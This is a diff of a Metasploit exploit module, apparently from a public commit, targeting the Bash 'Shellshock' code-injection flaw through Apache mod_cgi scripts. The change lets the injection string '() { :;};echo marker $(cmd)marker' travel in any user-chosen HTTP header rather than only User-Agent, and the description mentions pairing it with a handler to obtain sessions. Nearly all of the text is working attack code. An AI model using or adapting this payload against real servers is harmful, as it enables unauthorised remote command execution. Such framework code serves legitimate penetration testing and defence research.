@@ -17,7 +17,7 @@ def initialize(info = {})
17
17
'Description' => %q{
18
18
This module exploits a code injection in specially crafted environment
19
19
variables in Bash, specifically targeting Apache mod_cgi scripts through
20
- the HTTP_USER_AGENT variable.
20
+ the HTTP_USER_AGENT variable by default .
21
21
22
22
PROTIP: Use exploit/multi/handler with a PAYLOAD appropriate to your
23
23
CMD, set ExitOnSession false, run -j, and then run this module to create
@@ -38,8 +38,8 @@ def initialize(info = {})
38
38
39
39
register_options ( [
40
40
OptString . new ( 'TARGETURI' , [ true , 'Path to CGI script' ] ) ,
41
- OptEnum . new ( 'METHOD' , [ true , 'HTTP method to use' , 'GET' ,
42
- [ 'GET ', 'POST' ] ] ) ,
41
+ OptString . new ( 'METHOD' , [ true , 'HTTP method to use' , 'GET' ] ) ,
42
+ OptString . new ( 'HEADER' , [ true , 'HTTP header to use ', 'User-Agent' ] ) ,
43
43
OptString . new ( 'CMD' , [ true , 'Command to run (absolute paths required)' ,
44
44
'/usr/bin/id' ] )
45
45
] , self . class )
@@ -83,7 +83,9 @@ def req(cmd)
83
83
send_request_cgi (
84
84
'method' => datastore [ 'METHOD' ] ,
85
85
'uri' => normalize_uri ( target_uri . path ) ,
86
- 'agent' => "() { :;};echo #{ @marker } $(#{ cmd } )#{ @marker } "
86
+ 'headers' => {
87
+ datastore [ 'HEADER' ] => "() { :;};echo #{ @marker } $(#{ cmd } )#{ @marker } "
88
+ }
87
89
)
88
90
end
89
91
0 commit comments